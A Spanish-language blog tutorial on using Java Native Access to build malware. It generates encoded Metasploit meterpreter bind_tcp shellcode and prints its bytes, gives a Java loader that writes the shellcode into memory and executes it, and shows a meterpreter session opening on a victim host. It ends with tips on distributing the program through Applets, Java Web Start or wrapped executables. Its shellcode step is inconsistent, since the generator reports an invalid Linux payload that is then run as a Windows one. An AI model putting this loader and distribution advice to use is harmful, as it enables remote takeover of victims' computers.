Cuando se habla de APTs y cibercrimen, casi siempre se habla también de maleware y/o software vulnerable, ya que son los elementos angulares de cualquier campaña APT independientemente de su alcance. En este y otros artículos, intentaré explicar algunas de las técnicas que utilizan los atacantes en Internet para escribir maleware e intentar comprometer los sistemas de sus víctimas. En esta ocasión corresponde hablar sobre Java y JNA (Java Native Access).
Java es un lenguaje muy popular por ser uno de los primeros que se ha enfocado a Internet y por contar con una extensa API llena de funcionalidades para todos los gustos y colores. No obstante y “curiosamente” desde que Sun MicroSystems fue adquirida por Oracle, han salido a la luz varias vulnerabilidades relacionadas directamente con la máquina virtual de Java, muchas de las cuales han permitido la ejecución remota de código. Este hecho ha sido explotado de forma continuada por muchos atacantes en Internet y ahora representa en un problema bastante serio.
Sin embargo, además de las vulnerabilidades que se han detectado en la JVM, también existen otros problemas relacionados con la ejecución de Applets, especialmente cuando dichos Applets pueden ejecutar código nativo que no es gestionado directamente por la máquina virtual, como por ejemplo aquellas rutinas de código que utilizan JNI o JNA para acceder a funciones del sistema.
¿Qué es JNA y cómo me puedo beneficiar de dicha librería?
Como seguramente ya sabes, Java es un lenguaje híbrido, es una mezcla entre un lenguaje interpretado y un lenguaje compilado. Además, una de las ventajas que tiene y que le ha permitido ganar popularidad es que todas las instrucciones de código de un programa, se ejecutan directamente sobre una máquina virtual de Java y no sobre un sistema operativo concreto, de esta forma se trata de código que se puede ejecutar en diferentes sistemas operativos, siempre y cuando dichos sistemas tengan instalada la JVM (Java Virtual Machine). Un lenguaje con dichas características en los años en los que salio a la luz Java, era toda una revolución, ya que por aquel entonces (hablamos de la década de los 90s), era muy común escribir programas en C/C++ para plataformas especificas y con Java, se simplificaba muchísimo el desarrollo, ya que el mismo programa podía ser interpretado de la misma forma en múltiples sistemas operativos. Ha sido una idea genial y que muchos lenguajes adoptaron posteriormente.
Aunque todas las instrucciones de un programa escrito en Java pueden ejecutarse de forma independiente del sistema operativo, las operaciones relacionadas con la gestión de la memoria y el acceso a determinas funciones son completamente gestionadas por la JVM y el control que puede tener el programador para acceder a estructuras o ejecutar funciones del sistema operativo es prácticamente nulo. Dado que en ocasiones muy concretas, era necesario ejecutar código nativo y la JVM no lo permitía, surgió la interfaz JNI (Java Native Interface) la cual permitía ejecutar código nativo en lenguaje C desde un programa escrito en Java. Dado que la ejecución de este tipo de programas requiere cierta “confianza”, programas escritos con la finalidad de ser distribuidos a otros clientes, como los Applets, se encuentran limitados por un sandbox en el que la ejecución de este tipo de operaciones “potencialmente peligrosas” se encuentran restringidas, a menos claro, de que se permitan explícitamente utilizando el mecanismo de políticas de Java por medio de los ficheros “java.policy” o “java.security”.
JNI ha sido el mecanismo estándar utilizado por los programadores de Java para acceder a rutinas de código nativas escritas en lenguaje C, sin embargo su uso era algo complejo incluso para acceder a rutinas simples, por ese motivo, entre otros, salio el proyecto JNA (Java Native Access) el cual no solamente incluye formas mucho más convenientes de acceder a código nativo desde Java, sino que para un atacante, también permite crear rutinas maliciosas (maleware) para ejecutar código arbitrario en el sistema.
Antes de explicar cómo hacer esto, se enseña el uso básico de JNA en un programa escrito en Java que se encarga simplemente de ejecutar la función “printf” de C.
test.java
import com.sun.jna.Library; import com.sun.jna.Native; import com.sun.jna.Platform; public class test { public interface CLibrary extends Library { CLibrary INSTANCE = (CLibrary) Native.loadLibrary( (Platform.isWindows() ? "msvcrt" : "c"), CLibrary.class); void printf(String format, Object... args); } public static void main(String[] args) { CLibrary.INSTANCE.printf("Mensaje utilizando la función 'printf' de C.\n"); for (int i = 0; i < args.length; i++) { CLibrary.INSTANCE.printf("Parámetro %d: %s\n", i, args[i]); } } }
Para compilar el código anterior con la utilidad “javac”, es necesario descargar el fichero JAR de JNA, ya que es una librería que no se encuentra incluida por defecto en el JDK de Java. Para descargar el JAR correspondiente, puedes dirigirte al siguiente repositorio: http://mvnrepository.com/artifact/net.java.dev.jna/jna/4.1.0 debes pinchar donde pone “Download JAR”, al lado del texto que pone “Artifact” o si tienes un proyecto Java gestionado con Maven, puedes incluir dicha dependencia en el fichero pom.xml del proyecto y descargarla automáticamente con Maven.
Ahora, para compilar el programa anterior con el comando “javac” es necesario indicar en el “classpath”, la ruta en la que se encuentra el fichero JAR.
javac -cp jna-4.1.0.jar test.java
En este caso, se asume que la librería “jna-4.1.0.jar” se encuentra ubicada en la misma ruta que el programa Java.
La ejecución del comando anterior dará como resultado dos fichero “.class”, el primero incluye el bytecode de la clase “test” compilada y el segundo el bytecode de la interfaz “CLibrary”.
Ahora se procede a ejecutar el programa y como se puede apreciar, se accede a la función “printf” de C desde el programa escrito en Java.
>java -cp jna-4.1.0.jar:. test aa aa
Mensaje utilizando la función ‘printf’ de C.
Parámetro 0: aa
Parámetro 1: aa
Hasta este punto el uso de JNA parece bastante simple, pero cuenta con varias clases interesantes que se detallarán a continuación para crear maleware.
¿Cómo desarrollar programas con JNA para crear y posteriormente distribuir Maleware?
Si un atacante tiene la posibilidad de manipular la memoria o invocar funciones del sistema operativo desde un programa escrito en Java, como si se tratará de cualquier programa en C, tendrá la posibilidad de ejecutar shellcodes, rutinas de código para acceder remotamente o ejecutar cualquier otra actividad sobre el sistema, las posibilidades se limitan a su creatividad.
Vamos a plantear un ejemplo demostrativo, en el que se creará un payload del tipo “bind_tcp” y desde un programa escrito en Java, se utilizará JNA para reservar un espacio de memoria equivalente a la longitud del payload y posteriormente, se controlará el flujo del programa para posicionarlo en la región de memoria donde se ha cargado el shellcode para que se pueda ejecutar.
El shellcode se puede generar fácilmente utilizando Metasploit Framework con las utilidades msfpayload y msfencode o con msfvenom, el resultado en cualquier caso es el mismo.
>msfpayload linux/meterpreter/bind_tcp LPORT=4444 R | msfencode -c 10 -e x86/shikata_ga_nai -t c -b “\x00″
Invalid payload: linux/meterpreter/bind_tcp
[*] x86/shikata_ga_nai succeeded with size 27 (iteration=1)
[*] x86/shikata_ga_nai succeeded with size 54 (iteration=2)
[*] x86/shikata_ga_nai succeeded with size 81 (iteration=3)
[*] x86/shikata_ga_nai succeeded with size 108 (iteration=4)
[*] x86/shikata_ga_nai succeeded with size 135 (iteration=5)
[*] x86/shikata_ga_nai succeeded with size 162 (iteration=6)
[*] x86/shikata_ga_nai succeeded with size 189 (iteration=7)
[*] x86/shikata_ga_nai succeeded with size 216 (iteration=8)
[*] x86/shikata_ga_nai succeeded with size 243 (iteration=9)
[*] x86/shikata_ga_nai succeeded with size 270 (iteration=10)
unsigned char buf[] =
“\xdb\xd6\xd9\x74\x24\xf4\xb8\x09\x84\x64\xe3\x5f\x29\xc9\xb1″
“\x3d\x83\xef\xfc\x31\x47\x16\x03\x47\x16\xe2\xfc\x3c\x93\x8b”
“\xf5\xe2\x87\x9f\xd0\x6f\x1c\xd4\xbc\xbc\x95\xa5\x77\xf2\x63″
“\xd4\x74\xb2\x79\x5b\x63\xae\x97\x70\xac\x70\x50\x20\x49\x39″
“\xef\x04\x9c\x04\x7d\xa9\x9a\xe8\xa1\x7e\x35\xda\x5e\xba\x2d”
“\xb1\xd5\x44\xb1\xf4\x29\x1d\x89\x2d\x8e\x5a\x1e\xff\x76\x2b”
“\x74\xe6\x83\x19\xec\x63\xfb\x9b\x97\xc1\x35\xcc\x37\xe5\x7d”
“\xa0\x9e\x90\x9f\x99\x9b\xfb\xc8\xa8\xd3\xd4\x14\x20\x10\xd8″
“\xf7\xfe\x05\xe3\xbe\x24\xf5\x17\xc3\xfd\x0e\x6d\x51\x09\xab”
“\x38\x46\x41\x04\xe1\xd0\x89\x77\x83\xb5\x12\xaa\xab\x84\xb6″
“\x1f\xb4\x81\xb0\xdd\x6d\x39\xfd\x01\x09\x17\xb2\x38\xb1\x45″
“\x6d\xaa\x12\x4f\x1c\xcd\xe8\x4e\x21\x85\x74\x55\x76\x3d\xb9″
“\xd5\x1f\xa6\xcb\x75\xc6\x5c\x97\x2b\xc8\xc1\x72\x6c\x59\x60″
“\x42\x9f\x60\x63\x08\x23\xa3\xf3\xb3\x8e\xd3\x4d\x9a\x0c\xf1″
“\xcf\x92\x2a\x20\x8c\x38\x53\x69\x14\xa4\x53\x4a\x02\xad\x43″
“\x69\xba\x8e\x0d\x28\x1c\x32\x3a\x70\x65\x50\x2a\x72\x38\x5a”
“\x03\x2b\xc1\xf2\x62\xbb\x8e\xc1\xa2\x0a\x05\x86\xf4\x81\x92″
“\xd1\x6d\xaf\x17\x74\xcc\xa3\x48\x66\x55\x73\x2a\x5f\x28\xc0″;
A continuación se enseña una prueba de concepto simple para enseñar la estructura base del programa.
malewareJava.java
import com.sun.jna.Memory; import com.sun.jna.Function; public class malewareJava { public static String shellcode_hex="db d6 d9 74 24 f4 b8 …. "; public static byte[] shellcode; public static long offset=0; public static void main(String ... s) { String[] values = shellcode_hex.split(" "); shellcode = new byte[values.length]; int i = 0; for(i=0;i<values.length;i++) { shellcode[i] = Integer.decode("0x" + values[i]).byteValue(); } Memory mem=new Memory(shellcode.length); mem.clear(shellcode.length); mem.write(offset,shellcode,0,shellcode.length); Function f=Function.getFunction(mem,0); f.invoke(null); } }
La variable “shellcode_hex” contiene el shellcode generado anteriormente con Metasploit y en la función “main” del programa se obtiene un array decodificado con cada uno de los valores de dicho shellcode. La parte interesante del programa viene después, ya que se utiliza la clase “Memory” para reservar el espacio de memoria correspondiente a la longitud total del shellcode y posteriormente con los métodos “clear” y “write” se limpia y se inyecta el shellcode en la sección de memoria reservada.
Finalmente, con la clase “Function” se ejecuta el método “getFunction” para recuperar una referencia a la dirección de memoria donde se encuentra el shellcode y se invoca con el método “invoke”.
Después de ejecutar el programa anterior sobre un sistema Windows, se abrirá el puerto “4444” en la máquina de la víctima, tal como se ha indicado anteriormente al ejecutar Metasploit.
C:\Documents and Settings\jdaanial\Desktop>javac malewareJava.java
C:\Documents and Settings\jdaanial\Desktop>java malewareJava
Cuando se ejecuta el programa anterior, el proceso queda en estado de escucha y el puerto “4444” quedará abierto.
Si se observa atentamente, no se ha especificado el path donde se encuentra la librería de JNA, esto es debido a que por comodidad, se ha incluido directamente en el directorio de extensiones de la JVM, dicho directorio para el JDK se encuentra en <JDK_HOME>/jre/lib/ext y para el JRE se encuentra en <JRE_HOME>/lib/ext.
Después de ejecutar el programa se podrá ver el puerto “4444” abierto y esperando conexiones.
C:\Documents and Settings\jdaanial>netstat -anv
Active Connections
Proto Local Address Foreign Address State
TCP 0.0.0.0:25 0.0.0.0:0 LISTENING
TCP 0.0.0.0:110 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:143 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:2869 0.0.0.0:0 LISTENING
TCP 192.168.1.38:4444 0.0.0.0:0 LISTENING
TCP 127.0.0.1:1026 0.0.0.0:0 LISTENING
TCP 127.0.0.1:5152 0.0.0.0:0 LISTENING
TCP 192.168.1.38:139 0.0.0.0:0 LISTENING
………………….
Ahora desde Metasploit será posible obtener una consola Meterpreter.
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD windows/meterpreter/bind_tcp
PAYLOAD => windows/meterpreter/bind_tcp
msf exploit(handler) > set LPORT 4444
LPORT => 4444
msf exploit(handler) > set RHOST 192.168.1.38
RHOST => 192.168.1.38
msf exploit(handler) > exploit
[*] Started bind handler
[*] Starting the payload handler…
[*] Sending stage (769536 bytes) to 192.168.1.38
[*] Meterpreter session 1 opened (192.168.1.98:51028 -> 192.168.1.38:4444) at 2014-11-09 20:31:37 +0100
meterpreter >
Hasta este punto la prueba de concepto funciona correctamente, pero es necesario trabajar un poco más sobre el mecanismo de distribución del programa malicioso. En este caso, se puede crear un Applet, utilizar el protocolo JNLP (Java Network Launch Protocol) con JWS (Java Web Start) o convertir el programa escrito en Java en un ejecutable propiamente dicho para no depender de la máquina virtual de Java instalada en la víctima y para ello, se pueden utilizar herramientas como Jsmooth o Lauch4J.
Saludos y Happy Hack!